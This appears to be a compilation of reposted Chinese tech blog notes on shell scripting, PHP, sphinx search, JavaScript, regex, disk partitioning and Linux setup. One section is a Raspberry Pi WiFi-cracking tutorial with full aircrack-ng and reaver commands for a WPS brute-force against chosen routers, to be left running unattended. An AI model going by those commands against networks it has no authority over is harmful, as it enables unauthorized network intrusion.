Shell中处理包含空格的文件名实例

这篇文章主要介绍了Shell中处理包含空格的文件名实例,需要的朋友可以参考下

今天在处理文件时遇到个问题,当文件名包含空格时,for循环就出问题了。
例如,我在当前文件夹下建立3个文件名包含空格的文件:

1
2
3
4
5
keakons-MacBook-Pro:test keakon$ touch "test 1"
keakons-MacBook-Pro:test keakon$ touch "test 2"
keakons-MacBook-Pro:test keakon$ touch "test 3"
keakons-MacBook-Pro:test keakon$ ls
test 1 test 2 test 3

然后for循环输出文件名:

1
2
3
4
5
6
7
8
9
keakons-MacBook-Pro:test keakon$ for file in `ls`;
> do echo $file;
> done
test
1
test
2
test
3

可以看到,文件名被分开了。
复制操作也不行:

1
2
3
4
5
6
7
8
9
keakons-MacBook-Pro:test keakon$ mkdir ../bak
keakons-MacBook-Pro:test keakon$ for file in `ls`; do cp "$file" ../bak; done
cp: bak is a directory (not copied).
cp: test: No such file or directory
cp: 1: No such file or directory
cp: test: No such file or directory
cp: 2: No such file or directory
cp: test: No such file or directory
cp: 3: No such file or directory

要解决这个问题,当然就要从单词分隔符着手。而bash中使用的是$IFS(Internal Field Separator)这个变量,内容为” \n\t”:

1
2
3
4
5
6
7
keakons-MacBook-Pro:test keakon$ echo $IFS  
keakons-MacBook-Pro:test keakon$ echo "$IFS" | od -t x1
0000000 20 09 0a 0a
0000004
keakons-MacBook-Pro:test keakon$ echo "" | od -t x1
0000000 0a
0000001

然后把它改成”\n\b”,记得修改前先保存一下:

1
2
keakons-MacBook-Pro:test keakon$ SAVEIFS=$IFS
keakons-MacBook-Pro:test keakon$ IFS=$(echo -en "\n\b")

现在再执行上述命令就正常了:

1
2
3
4
5
6
7
keakons-MacBook-Pro:test keakon$ for file in `ls`; do echo $file; done
test 1
test 2
test 3
keakons-MacBook-Pro:test keakon$ for file in `ls`; do cp "$file" ../bak; done
keakons-MacBook-Pro:test keakon$ ls ../bak
test 1 test 2 test 3

最后,别忘了恢复$IFS:

1
2
3
4
5
6
7
8
keakons-MacBook-Pro:test keakon$ IFS=$SAVEIFS
keakons-MacBook-Pro:test keakon$ echo "$IFS" | od -t x1
0000000 20 09 0a 0a
0000004
keakons-MacBook-Pro:test keakon$ IFS=$(echo -en " \n\t")
keakons-MacBook-Pro:test keakon$ echo "$IFS" | od -t x1
0000000 20 0a 09 0a
0000004

转载自 http://www.jb51.net/article/49797.htm

Redbean:入门(一) - 增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
require_once 'rb.php';
$tableName = "link";
//链接数据库
R::setup("mysql:host=localhost;dbname=hwibs_model","root","");
//创建一个表(也可以指为实例化一个表)
$handler = R::dispense($tableName);


##################################### add #####################################

/*同上[同时实例化多个表]
list($handler_1,$handler_2) = R::dispenseALL("test_1,test_2");
*/
//对象方式给字段赋值
//::注意,如果字段不存在,store方法过后,会自动添加对应的字段,并且自动根据字段值设置字段的对应字段类型
$handler->name = "haha";
$handler->url = "isxiugai";
$handler->plushtime = time() - 5000;
//如果有下划线的字段名,则可以使用驼峰法命名,将自动转换为下划线
$handler->isMyName = false;// = is_my_name
//执行,此静态方法会返回添加成功后的自增id值(单个)
$inser_id = R::store($handler);

##################################### query ####################################
//获取记录句柄(参数1为表名,参数2为id值),返回值为对象集合
//如果id不存在,则返回0
//注意,这个获取到的句柄,可以用于删除操作
$bean = R::load($tableName,4);//获取单个
$beans = R::loadAll($tableName,array(1,2,3,4));//获取多个

##################################### update #####################################

//1.注意,修改跟add的唯一区别就是id,如果id不为空,则为修改,否则则为添加!
//2.如果id不存在的情况下,既不会添加,也不会修改!所以一般在修改前,需要事先用load进行判断是否存在

foreach ($beans as $k=>$v){
$beans[$k]->url = rand(100,5555);//测试[循环将每个记录对象中的url赋值一个随机数]
}
R::storeAll($beans);//执行修改


##################################### delete #####################################
//删除单个::成功或失败都是返回null
var_dump(R::trash(R::load($tableName,1)));
//删除多个::如果有不存在的,则会只删除存在的,成功或失败都是返回null
var_dump(R::trashAll(R::loadALL($tableName,array(117,118))));


##################################### other #####################################
//清除表中所有数据::相当于truncate,因为会将自增指针重置
//R::wipe($tableName);
//删除数据库中所有的表,[无语的功能,要这个搞毛]
//var_dump(R::nuke());
//关闭链接
R::close();
?>

转载自 http://www.cnblogs.com/shibazi/archive/2014/08/02/3887246.html

搭建coreseek(sphinx+mmseg3)详细安装配置+php之sphinx扩展安装+php调用示例

一个文档包含了安装、增量备份、扩展、api调用示例,省去了查找大量文章的时间。

搭建coreseek(sphinx+mmseg3)安装
[第一步] 先安装mmseg3

1
2
3
4
5
6
7
8
9
cd /var/install
wget http://www.coreseek.cn/uploads/csft/4.0/coreseek-4.1-beta.tar.gz
tar zxvf coreseek-4.1-beta.tar.gz

cd coreseek-4.1-beta
cd mmseg-3.2.14
./bootstrap
./configure --prefix=/usr/local/mmseg3
make && make install

遇到的问题:

1
error: cannot find input file: src/Makefile.in

或者遇到其他类似error错误时…

解决方案:
依次执行下面的命令,我运行’aclocal’时又出现了错误,解决方案请看下文描述

1
2
3
4
5
6
7
8
yum -y install libtool

aclocal
libtoolize --force
automake --add-missing
autoconf
autoheader
make clean

安装好’libtool’继续从’aclocal’开始执行上面提到的一串命令,执行完后再运行最开始的安装流程即可。

[第二步] 安装coreseek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
##安装coreseek
$ cd csft-3.2.14 或者 cd csft-4.0.1 或者 cd csft-4.1
$ sh buildconf.sh #输出的warning信息可以忽略,如果出现error则需要解决
$ ./configure --prefix=/usr/local/coreseek --without-unixodbc --with-mmseg --with-mmseg-includes=/usr/local/mmseg3/include/mmseg/ --with-mmseg-libs=/usr/local/mmseg3/lib/ --with-mysql
##如果提示mysql问题,可以查看MySQL数据源安装说明 http://www.coreseek.cn/product_install/install_on_bsd_linux/#mysql
$ make && make install
$ cd ..


##命令行测试mmseg分词,coreseek搜索(需要预先设置好字符集为zh_CN.UTF-8,确保正确显示中文)
$ cd testpack
$ cat var/test/test.xml #此时应该正确显示中文
$ /usr/local/mmseg3/bin/mmseg -d /usr/local/mmseg3/etc var/test/test.xml
$ /usr/local/coreseek/bin/indexer -c etc/csft.conf --all
$ /usr/local/coreseek/bin/search -c etc/csft.conf 网络搜索

出现这个 xmlpipe2 support NOT compiled in. To use xmlpipe2, install missing XML libra 错误
执行以下命令:

1
yum -y install expat expat-devel

依次安装后,从新编译coreseek,然后再生成索引,就可以通过了。
结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Coreseek Fulltext 4.1 [ Sphinx 2.0.2-dev (r2922)]  
Copyright (c) 2007-2011,
Beijing Choice Software Technologies Inc (http://www.coreseek.com)

using config file 'etc/csft.conf'...
index 'xml': query '网络搜索 ': returned 1 matches of 1 total in 0.000 sec

displaying matches:
1. document=1, weight=1590, published=Thu Apr 1 07:20:07 2010, author_id=1

words:
1. '网络': 1 documents, 1 hits
2. '搜索': 2 documents, 5 hits

下面开始sphinx与mysql的配置
创建sphinx统计表,在coreseek_test库中执行。

1
2
3
4
5
CREATE TABLE sph_counter
(
counter_id INTEGER PRIMARY KEY NOT NULL,
max_doc_id INTEGER NOT NULL
);

创建配置sphinx与mysql的配置文件

1
vi /usr/local/coreseek/etc/csft_mysql.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#MySQL数据源配置,详情请查看:http://www.coreseek.cn/docs/coreseek_4.1-sphinx_2.0.1-beta.html#conf-reference

#源定义
source main
{
type = mysql

sql_host = localhost
sql_user = root
sql_pass = 123456
sql_db = coreseek_test
sql_port = 3306
sql_query_pre = SET NAMES utf8
sql_query_pre = REPLACE INTO sph_counter SELECT 1,MAX(id) FROM hr_spider_company;
sql_query = SELECT * FROM hr_spider_company WHERE id<=( SELECT max_doc_id FROM sph_counter WHERE counter_id=1 )
#sql_query第一列id需为整数
#title、content作为字符串/文本字段,被全文索引
sql_attr_uint = id #从SQL读取到的值必须为整数
sql_attr_uint = from_id #从SQL读取到的值必须为整数,不支持全文检索
sql_attr_uint = link_id #从SQL读取到的值必须为整数,不支持全文检索
sql_attr_uint = add_time #从SQL读取到的值必须为整数,不支持全文检索
sql_field_string = link_url #字符串字段(可全文搜索,可返回原始文本信息)
sql_field_string = company_name #字符串字段(可全文搜索,可返回原始文本信息)
sql_field_string = type_name #字符串字段(可全文搜索,可返回原始文本信息)
sql_field_string = trade_name #字符串字段(可全文搜索,可返回原始文本信息)
sql_field_string = email #字符串字段(可全文搜索,可返回原始文本信息)
sql_field_string = description #字符串字段(可全文搜索,可返回原始文本信息)

sql_query_info_pre = SET NAMES utf8 #命令行查询时,设置正确的字符集
sql_query_info = SELECT id,from_id,link_id,company_name,type_name,trade_name,address,description, FROM_UNIXTIME(add_time) AS add_time FROM hr_spider_company WHERE id=$id #命令行查询时,从数据库读取原始数据信息
}

source delta : main
{
sql_query_pre = SET NAMES utf8
sql_query = SELECT * FROM hr_spider_company WHERE id>( SELECT max_doc_id FROM sph_counter WHERE counter_id=1 )
sql_query_post_index = REPLACE INTO sph_counter SELECT 1,MAX(id) FROM hr_spider_company
}



#index定义
index main
{
source = main #对应的source名称
path = /usr/local/coreseek/var/data/mysql #请修改为实际使用的绝对路径,例如:/usr/local/coreseek/var/...
docinfo = extern
mlock = 0
morphology = none
min_word_len = 1
html_strip = 0

#中文分词配置,详情请查看:http://www.coreseek.cn/products-install/coreseek_mmseg/
charset_dictpath = /usr/local/mmseg3/etc/ #BSD、Linux环境下设置,/符号结尾
charset_type = zh_cn.utf-8
}

index delta : main
{
source = delta
path = /usr/local/coreseek/var/data/delta
}


#全局index定义
indexer
{
mem_limit = 128M
}

#searchd服务定义
searchd
{
listen = 9312
read_timeout = 5
max_children = 30
max_matches = 1000
seamless_rotate = 0
preopen_indexes = 0
unlink_old = 1
pid_file = /usr/local/coreseek/var/log/searchd_mysql.pid #请修改为实际使用的绝对路径,例如:/usr/local/coreseek/var/...
log = /usr/local/coreseek/var/log/searchd_mysql.log #请修改为实际使用的绝对路径,例如:/usr/local/coreseek/var/...
query_log = /usr/local/coreseek/var/log/query_mysql.log #请修改为实际使用的绝对路径,例如:/usr/local/coreseek/var/...
binlog_path = #关闭binlog日志
}

我的测试表名为hr_spider_company,你只需要根据实际需求更改为自己的表名即可。

调用命令列表:
启动后台服务(必须开启)

1
/usr/local/coreseek/bin/searchd -c /usr/local/coreseek/etc/csft_mysql.conf

执行索引(查询、测试前必须执行一次)

1
/usr/local/coreseek/bin/indexer -c /usr/local/coreseek/etc/csft_mysql.conf --all --rotate

执行增量索引

1
/usr/local/coreseek/bin/indexer -c /usr/local/coreseek/etc/csft_mysql.conf delta --rotate

合并索引

1
/usr/local/coreseek/bin/indexer -c /usr/local/coreseek/etc/csft_mysql.conf --merge main delta --rotate --merge-dst-range deleted 0 0

(为了防止多个关键字指向同一个文档加上–merge-dst-range deleted 0 0)
后台服务测试

1
/usr/local/coreseek/bin/search -c /usr/local/coreseek/etc/csft_mysql.conf  aaa

关闭后台服务

1
/usr/local/coreseek/bin/searchd -c /usr/local/coreseek/etc/csft_mysql.conf --stop

自动化命令:

1
crontab -e

1
2
3
*/1 * * * * /bin/sh /usr/local/coreseek/bin/indexer -c /usr/local/coreseek/etc/csft_mysql.conf delta --rotate
*/5 * * * * /bin/sh /usr/local/coreseek/bin/indexer -c /usr/local/coreseek/etc/csft_mysql.conf --merge main delta --rotate --merge-dst-range deleted 0 0
30 1 * * * /bin/sh /usr/local/coreseek/bin/indexer -c /usr/local/coreseek/etc/csft_mysql.conf --all --rotate

以上任务计划的意思是:每隔一分钟执行一遍增量索引,每五分钟执行一遍合并索引,每天1:30执行整体索引。

Sphinx扩展安装
Coreseek官方教程中建议php使用直接include一个php文件进行操作,事实上php有独立的sphinx模块可以直接操作coreseek(coreseek就是sphinx!)已经进入了php的官方函数库,而且效率的提升不是一点点!但php模块依赖于libsphinxclient包。
[第一步] 安装依赖libsphinxclient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# cd /var/install/coreseek-4.1-beta/csft-4.1/api/libsphinxclient/
# ./configure --prefix=/usr/local/sphinxclient

configure: creating ./config.status
config.status: creating Makefile
config.status: error: cannot find input file: Makefile.in #报错configure失败

//处理configure报错
编译过程中报了一个config.status: error: cannot find input file: src/Makefile.in这个的错误,然后运行下列指令再次编译就能通过了:
# aclocal
# libtoolize --force
# automake --add-missing
# autoconf
# autoheader
# make clean

//从新configure编译
# ./configure

# make && make install

[第二步] 安装sphinx的PHP扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://pecl.php.net/package/sphinx
# wget http://pecl.php.net/get/sphinx-1.3.0.tgz
# tar zxvf sphinx-1.3.0.tgz
# cd sphinx-1.3.0
# phpize
# ./configure --with-php-config=/usr/bin/php-config --with-sphinx=/usr/local/sphinxclient
# make && make install
# cd /etc/php.d/
# cp gd.ini sphinx.ini
# vi sphinx.ini

extension=sphinx.so

# service php-fpm restart

打开phpinfo看一下是否已经支持了sphinx模块。

php调用sphinx示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$s = new SphinxClient;
$s->setServer("127.0.0.1", 9312);

$s->setMatchMode(SPH_MATCH_PHRASE);
$s->setMaxQueryTime(30);
$res = $s->query("宝马",'main'); #[宝马]关键字,[main]数据源source
$err = $s->GetLastError();
var_dump(array_keys($res['matches']));
echo "<br>"."通过获取的ID来读取数据库中的值即可。"."<br>";

echo '<pre>';
var_dump($res);
var_dump($err);
echo '</pre>';

调用示例二:支持分页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
header("Content-type: text/html; charset=utf-8");
require("./sphinxapi.php");
$s = new SphinxClient;
$s->setServer("192.168.252.132", 9312);

//SPH_MATCH_ALL, 匹配所有查询词(默认模式); SPH_MATCH_ANY, 匹配查询词中的任意一个; SPH_MATCH_EXTENDED2, 支持特殊运算符查询
$s->setMatchMode(SPH_MATCH_ALL);
$s->setMaxQueryTime(30); //设置最大搜索时间
$s->SetArrayResult(false); //是否将Matches的key用ID代替
$s->SetSelect ( "*" ); //设置返回信息的内容,等同于SQL
$s->SetRankingMode(SPH_RANK_BM25); //设置评分模式,SPH_RANK_BM25可能使包含多个词的查询的结果质量下降。
//$s->SetSortMode(SPH_SORT_EXTENDED); //发现增加此参数会使结果不准确
//$s->SetSortMode(SPH_SORT_EXTENDED,"from_id asc,id desc"); //设置匹配项的排序模式, SPH_SORT_EXTENDED按一种类似SQL的方式将列组合起来,升序或降序排列。
$weights = array ('company_name' => 20);
$s->SetFieldWeights($weights); //设置字段权重
$s->SetLimits ( 0, 30, 1000, 0 ); //设置结果集偏移量 SetLimits (便宜量,匹配项数目,查询的结果集数默认1000,阀值达到后停止)
//$s->SetFilter ( $attribute, $values, $exclude=false ); //设置属性过滤
//$s->SetGroupBy ( $attribute, $func, $groupsort="@group desc" ); //设置分组的属性
$res = $s->query('@* "汽车"','main','--single-0-query--'); #[宝马]关键字,[news]数据源source


//代码高亮
$tags = array();
$tags_name = array();
foreach($res['matches'] as $key=>$value){
$tags[] = $value['attrs'];
$company_name[] = $value['attrs']['company_name'];
$description[] = $value['attrs']['description'];
}
$company_name = $s->BuildExcerpts ($company_name, 'main', '汽车', $opts=array() ); //执行高亮,这里索引名字千万不能用*
$description = $s->BuildExcerpts ($description, 'main', '汽车', $opts=array() ); //执行高亮,这里索引名字千万不能用*
foreach($tags as $k=>$v)
{
$tags[$k]['company_name'] = $company_name[$k]; //高亮后覆盖
$tags[$k]['description'] = $description[$k]; //高亮后覆盖
}

// 高亮后覆盖
$i = 0;
foreach($res['matches'] as $key=>$value){
$res['matches'][$key] = $tags[$i];
$i++;
}

$err = $s->GetLastError();

echo '<pre>';
var_export($res);
var_export($err);
echo '</pre>';

还有很对地方需要参考:http://www.coreseek.cn/docs/coreseek_4.1-sphinx_2.0.1-beta.html#api-reference

转载自 http://blog.csdn.net/e421083458/article/details/21529969

用javascript实现本地图片预览(HTML5)

使用FileReader实现打开本地图片并预览。
挺方便的,可惜不是所有浏览器都支持,坑爹的IE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>  
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript">
function preImg(sourceId, targetId) {
if (typeof FileReader === 'undefined') {
alert('Your browser does not support FileReader...');
return;
}
var reader = new FileReader();

reader.onload = function(e) {
var img = document.getElementById(targetId);
img.src = this.result;
}
reader.readAsDataURL(document.getElementById(sourceId).files[0]);
}
</script>
</head>
<body>
<form action="">
<input type="file" name="imgOne" id="imgOne" onchange="preImg(this.id,'imgPre');" />
<img id="imgPre" src="" style="display: block;" />
</form>
</body>
</html>

转载自 http://crayster.iteye.com/blog/1543058

js数组删除元素

1
var arr=['a','b','c'];

若要删除其中的’b’,有两种方法:
1.delete方法:delete arr[1]
这种方式数组长度不变,此时arr[1]变为undefined了,但是也有好处原来数组的索引也保持不变,此时要遍历数组元素可以才用

1
2
3
4
for(index in arr)
{
   document.write('arr['+index+']='+arr[index]);
}

这种遍历方式跳过其中undefined的元素

  • 该方式IE4.o以后都支持了

2.数组对象splice方法:arr.splice(1,1);
这种方式数组长度相应改变,但是原来的数组索引也相应改变
splice参数中第一个1,是删除的起始索引(从0算起),在此是数组第二个元素
第二个1,是删除元素的个数,在此只删除一个元素,即’b’;
此时遍历数组元素可以用普通遍历数组的方式,比如for,因为删除的元素在
数组中并不保留

  • 该方法IE5.5以后才支持
    值得一提的是splice方法在删除数组元素的同时,还可以新增入数组元素
    比如arr.splice(1,1,’d’,’e’),d,e两个元素就被加入数组arr了
    结果数组变成arr:’a’,’d’,’e’,’c’

外一篇:
  JavaScript通过设置数组的length属性来截断数组是惟一一种缩短数组长度的方法.如果使用delete运算符来删除数组中元素,虽然那个元素变成未定义的,但是数组的length属性并不改变两种删除元素,数组长度也改变的方法.

  /    方法:Array.remove(dx)
   功能:删除数组元素.    参数:dx删除元素的下标.
   返回:在原数组上修改数组   /
  
 //经常用的是通过遍历,重构数组.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Array.prototype.remove=function(dx)
 {
  if(isNaN(dx)||dx>this.length){return false;}
  for(var i=0,n=0;i<this.length;i++)
  {
    if(this[i]!=this[dx])
    {
      this[n++]=this[i]
    }
  }
  this.length-=1
 }
 a = ['1','2','3','4','5'];
 alert("elements: "+a+"nLength: "+a.length);
 a.remove(0); //删除下标为0的元素
 alert("elements: "+a+"nLength: "+a.length);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
  * 方法:Array.baoremove(dx)
  * 功能:删除数组元素.
  * 参数:dx删除元素的下标.
  * 返回:在原数组上修改数组.
  */
  
 //我们也可以用splice来实现.
  
 Array.prototype.baoremove = function(dx)
 {
  if(isNaN(dx)||dx>this.length){return false;}
  this.splice(dx,1);
 }
 b = ['1','2','3','4','5'];
 alert("elements: "+b+"nLength: "+b.length);
 b.baoremove(1); //删除下标为1的元素
 alert("elements: "+b+"nLength: "+b.length);

  我们知道,在IE5或更低的版本中,JavaScript的Array(数组)对象并未提供现成的删除数组元素的方法。在IE5.5+的版本中,虽然有splice方法,但是并不是删除某一项(或几项),而仅仅是将某一项(或几项)的值清除,也就是说该项仍然存在,数组的长度并没有改变。
  事实上,我们可以自己为数组增加一个删除方法(注意,这里指的是将数组的某一项真正的从数组成员中移除)。或许你会想到用循环来为数组重新赋值,这样做当然可以,但效率很低。
  下面我们介绍利用Array对象的两个方法slice、concat来自定义删除数组的方法。
  具体代码如下,请注意里面的注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Array.prototype.del=function(n) { //n表示第几项,从0开始算起。
//prototype为对象原型,注意这里为对象增加自定义方法的方法。
 if(n<0) //如果n<0,则不进行任何操作。
  return this;
 else
  return this.slice(0,n).concat(this.slice(n+1,this.length));
  /*
   concat方法:返回一个新数组,这个新数组是由两个或更多数组组合而成的。
         这里就是返回this.slice(0,n)/this.slice(n+1,this.length)
         组成的新数组,这中间,刚好少了第n项。
   slice方法: 返回一个数组的一段,两个参数,分别指定开始和结束的位置。
  */
}
//我们来试一试这个自己增加的方法
var test=new Array(0,1,2,3,4,5);
test=test.del(3); //从0算起,这里也就是删除第4项。
alert(test);

这样,仅仅灵活运用了Array对象的两个方法,就实现了我们的要求。

转载自 http://www.cnblogs.com/qiantuwuliang/archive/2010/09/01/1814706.html

检查素数的正则表达式分享

一般来说,我们会使用正规表达式来做字符串匹配,今天在网上浏览的时候,看到了有人用正则表达式来检查一个数字是否为素数(质数),让我非常感兴趣
这个正则表达式如图所示:
regexpr-for-prime-number
检查素数与否的正则表达式
要使用这个正规则表达式,你需要把自然数转成多个1的字符串,如:2 要写成 “11”, 3 要写成 “111”, 17 要写成“11111111111111111”,这种工作使用一些脚本语言可以轻松的完成。
一开始我对这个表达式持怀疑态度,但仔细研究了一下这个表达式,发现是非常合理的,下面,让我带你来细细剖析一下是这个表达式的工作原理。
首先,我们看到这个表达式中有“|”,也就是说这个表达式可以分成两个部分:/^1?$/ 和 /^(11+?)\1+$/
第一部分:/^1?$/, 这个部分相信不用我多说了,其表示匹配“空串”以及字串中只有一个“1”的字符串。
第二部分:/^(11+?)\1+$/,这个部分是整个表达式的关键部分。其可以分成两个部分,(11+?) 和\1+$,前半部很简单了,匹配以“11”开头的并重复0或n个1的字符串,后面的部分意思是把前半部分作为一个字串去匹配还剩下的字符串1次或多次(这句话的意思是——剩余的字串的1的个数要是前面字串1个数的整数倍)。
可见这个正规则表达式是取非素数,要得到素数还得要对整个表达式求反。通过上面的分析,我们知道,第二部分是最重要的,对于第二部分,举几个例子,
示例一:判断自然数8。我们可以知道,8转成我们的格式就是“11111111”,对于(11+?),其匹配了“11”,于是还剩下“111111”,而\1+$正好匹配了剩下的“111111”,因为,“11”这个模式在“111111”出现了三次,符合模式匹配,返回true。所以,匹配成功,于是这个数不是质数。
示例二:判断自然数11。转成我们需要的格式是“11111111111”(十一个1),对于(11+?),其匹配了“11”(前两个1),还剩下“111111111”(九个1),而\1+$无法为“11”匹配那“九个1”,因为“11”这个模式并没有在“九个1”这个串中正好出现N次。于是,我们的正则表达式引擎会尝试下一种方法,先匹配“111”(前三个1),然后把“111”作为模式去匹配剩下的“11111111”(八个1),很明显,那“八个1”并没有匹配“三个1”多次。所以,引擎会继续向下尝试……直至尝试所有可能都无法匹配成功。所以11是素数。
通过示例二,我们可以得到这样的等价数算算法,正则表达式会匹配这若干个1中有没有出现“二个1”的整数倍,“三个1”的整数倍,“四个1”的整数倍……,而,这正好是我们需要的算素数的算法。现在大家明白了吧。
下面,我们用perl来使用这个正规则表达式不停地输出素数:(关于perl的语法我就不多说了,请注意表达式前的取反操作符)

1
perl -e'$|++;(1 x$_)!~/^1?$|^(11+?)\1+$/&&print"$_ "while ++$_'

另外,让我们来举一反三,根据上述的这种方法,我们甚至可以用正则表达式来求证某方式是否有解,如:
二元方程:17x + 12y = 51 判断其是否有解的正则表达式是:^(.)\1{16}(.)\2{11}$
三元方程:11x + 2y + 5z = 115 判断其是否有解的正则表达式是:^(.)\1{10}(.)\2{1}(.*)\3{4}$
大家不妨自己做做练习,为什么上述的两个正则表达式可以判断方程是否有解。如果无法参透其中的奥妙的话,你可以读读这篇英文文章

转载自 http://www.jb51.net/article/27859.htm

Linux下用fdisk和resize2fs动态修改分区大小

我的Archlinux发现root(/)分区不够用了,于是想把/home分区的空间腾出一些来,
原理:用resize2fs调整/home文件系统的大小,用fdisk调整分区的大小。
试验结果:由于开始不小心把/home(/dev/sda4)分区删掉了,所以没试验成功,于是用以下步骤扩大了root分区:

  1. fdisk把root(/dev/sda3)分区删除,注意删除前记录开始柱面号,具体命令:
    fdisk /dev/sda ,p命令显示的Start列)
  2. 用同样的开始柱面号,建立(fdisk /),命令 n
  3. 再使用resize2fs重新修改分区的大小,命令:resize2fs /dev/sda3。
  4. 重启系统,出现挂载/home分区失败,按照提示:mount -o remount,rw /,同时删除/etc/fstab下的含有/home那一行。
  5. 再重启系统。
    成功了!(以后可以试一下用lvm动态调整分区)

转载自 http://blog.chinaunix.net/uid-8747186-id-3189880.html

树莓派(raspberrypi)安装aircrack-ng,reaver及wifi破解教程

这篇文章主要应百度贴吧水友的要求,特写了一个小教程。让pi变得更有意思。
这个无线破解和PC上的原理是一样的,只不过平台换到了PI上。PI主要就是省电,放在那里跑一个月也没事。

回到正题:

硬件环境
树莓派B+一个(我用的是debian环境)
PC一台(或其它设备直接操作PI就行)
无线网卡(能用就行,不过强大的无线网卡会事半功倍,我用的3070)

安装依赖包

1
2
sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion
sudo apt-get install libnl-3-200 libnl-3-dev libnl-3-doc libnl-genl-3-dev libnl-genl-3-200

安装aircarck-ng

1
2
3
4
svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng
cd aircrack-ng/
make
sudo make install

安装reaver

1
2
3
4
5
6
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

如果上面下载的地址被墙,试下这个地址:/uploads/2015/02/reaver-1.4.tar.gz
如果安装成功后,会有airmon-ng,airodump-ng,reaver等命令可用。

破解教程

1
2
sudo airmon-ng start wlan0
sudo airodump-ng mon0

1

1
sudo airodump-ng mon0

根据上面的airodump搜索到的无线信号,然后可以挑信号强的进行破解(注意,要选择开了WPS功能的)

1
sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11

2
如果想挂机破解,记得加上nohup命令后,可以断开ssh。然后剩下就是等待。

1
nohup sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11 -o fbi &

2-2
如果破解成功后,打开输出的日志,就可以看到reaver出来的密码。
3

转载自 http://lok.me/a/1972.html

Wordpress 批量关闭评论

wordpress 并没有自带批量关闭所有文章评论的功能,这需要通过修改数据库来实现:

关闭所有文章的评论功能:

1
UPDATE `wp_posts` SET`comment_status`='close'

反之:

1
UPDATE `wp_posts` SET`comment_status`='open'

P.S. 过年了,也没啥文章好写了。。就把最近用到的东西拿出来记下,不过这博客不是本来就应该派这用处的么

Ubuntu 14.04 安装搜狗输入法

百度了几篇教程,发现都是要求卸载 ibus,其实这样做没必要,反而卸载后会导致系统工作不正常,比如系统设置里少了很多东西。
接下来我就把我自己安装搜狗输入法的过程记一下,以备不时之需。

一、先安装 fcitx

1
2
3
4
sudo su
apt-get update
apt-get upgrade
apt-get install fcitx

2015-02-18 13:30:12 的屏幕截图
当然我这里已经安装过了

二、下载安装搜狗输入法
访问 http://pinyin.sogou.com/linux/ 跟着教程来就行

三、修改系统设置,使用搜狗输入法
打开系统设置,选择语言支持
2015-02-18 13:37:54 的屏幕截图
将键盘输入方式系统改为 fcitx
2015-02-18 13:38:26 的屏幕截图
点击右上角切换当前输入法就可以使用啦
2015-02-18 13:42:21 的屏幕截图

P.S. 另注各位节日快乐,恭喜发财